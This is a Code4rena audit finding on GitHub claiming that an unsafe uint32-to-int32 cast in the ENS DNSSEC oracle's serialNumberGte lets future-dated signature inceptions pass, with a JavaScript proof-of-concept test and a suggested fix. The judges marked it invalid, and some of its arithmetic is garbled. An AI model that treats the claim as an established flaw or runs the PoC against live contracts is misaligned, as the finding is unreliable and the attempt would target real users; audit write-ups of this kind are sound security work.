code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-04-ens/blob/main/contracts/dnssec-oracle/RRUtils.sol#L332-L339 https://github.com/code-423n4/2023-04-ens/blob/main/contracts/dnsregistrar/DNSRegistrar.sol#L94 https://github.com/code-423n4/2023-04-ens/blob/main/contracts/dnsregistrar/DNSRegistrar.sol#L137 https://github.com/code-423n4/2023-04-ens/blob/main/contracts/dnssec-oracle/DNSSECImpl.sol#L119 https://github.com/code-423n4/2023-04-ens/blob/main/contracts/dnssec-oracle/DNSSECImpl.sol#L163-L168

Vulnerability details

Proof of Concept

RRUtils.serialNumberGte() will use an unsafe signed cast which allows inceptions to be set to values bigger than int32 without any revert taking place.

The function will cast i1 and i2 from uint32 to int32 in an unchecked block, and then it will check if i1 is bigger or equal to i2.

function serialNumberGte(
    uint32 i1,
    uint32 i2
) internal view returns (bool) {
    unchecked {
        return int32(i1) - int32(i2) >= 0;
    }
}

https://github.com/code-423n4/2023-04-ens/blob/main/contracts/dnssec-oracle/RRUtils.sol#L332-L339

We can craft a value where i1 is smaller than i2, but i2 is bigger than the maximum 32-bit signed integer to force the check to pass, since it will result in i1 - i2 > 0.

DNSRegistrar.proveAndClaim() calls DNSRegistrar._claim() which calls DNSSECImpl.verifyRRSet() which calls DNSSECImpl.validateSignedSet() which finally calls RRUtils.serialNumberGte() by passing the current timestamp as i1 and rrset.inception as i2.

https://github.com/code-423n4/2023-04-ens/blob/main/contracts/dnsregistrar/DNSRegistrar.sol#L94

https://github.com/code-423n4/2023-04-ens/blob/main/contracts/dnsregistrar/DNSRegistrar.sol#L137

https://github.com/code-423n4/2023-04-ens/blob/main/contracts/dnssec-oracle/DNSSECImpl.sol#L119

https://github.com/code-423n4/2023-04-ens/blob/main/contracts/dnssec-oracle/DNSSECImpl.sol#L163-L168

The following coded poc demonstrates that when passing an inception set to the maximum unsigned 32-bits integer value 4294967295 (greater than now and expiration), the Tx will not revert and the name will be claimed in DNSRegistrar.proveAndClaim().

  it('poc setting inception into the future due to signed casting', async function () {
    assert.equal(await registrar.oracle(), dnssec.address)
    assert.equal(await registrar.ens(), ens.address)

    // Set inception into the future.
    const newInception = 4294967295
    const proof = [
      hexEncodeSignedSet(rootKeys(expiration, newInception)),
      hexEncodeSignedSet(testRrset('foo.test', accounts[0])),
    ]

    await registrar.proveAndClaim(utils.hexEncodeName('foo.test'), proof, {
      from: accounts[1],
    })

    // The tx should fail at this point, since:
    // expiration = 1685105181
    // now = 1682686908 (at the time of writing the poc)
    // inception = 4294967295 (greater than now and expiration)
    // 
    // However, it will succeed due to the unsafe cast on RRUtils.serialNumberGte().
    assert.equal(await ens.owner(namehash.hash('foo.test')), accounts[0])
  })

For completeness, we can see on the example bellow that int32(4294967295) = -1, resulting in i1 (now) incorrectly being marked as bigger than i2 (inception).

now = 1682686908
inception = 4294967295

In DNSSECImpl.sol, L173
if (!RRUtils.serialNumberGte(uint32(now), rrset.inception)) {}

In RRUtils.sol, L341
int32(now) - int32(inception) => 0
int32(1682686908) - int32(4294967295) => 0
1682686908 - (-1) => 0
1682686909 => 0 // will result in true, even if now < inception :: 1682686908 < 4294967295

Impact

One important impact is that this will be inconsistent with the RFC 1982, specifically:

"The validator's notion of the current time MUST be greater than or equal to the time listed in the RRSIG RR's Inception field"

Is the proof of concept example, we are passing now as April 2023 and inception as February 2106 (83 years into to future). Passing any value into the future should fail since inception must be smaller than or equal to the listed time.

Therefore, this can result data corruption, improper input validation, griefing and incorrect implementation as specified in RFCs such as 1982, 4033 and 4641.

Tools Used

Manual review.

Recommended Mitigation Steps

One solution can be to to use a safe cast function when making the signed casting from uint32 to int32 in RRUtils.serialNumberGte(). This could be done by using OpenZeppelin SafeCast or by implementing a function what reverts when value being passed to int32 is bigger than type(int32).max.

c4-pre-sort commented 1 year ago

thereksfour marked the issue as primary issue

c4-pre-sort commented 1 year ago

thereksfour marked the issue as duplicate of #219

c4-judge commented 1 year ago

dmvt marked the issue as unsatisfactory: Invalid

code-423n4 / 2023-04-ens-findings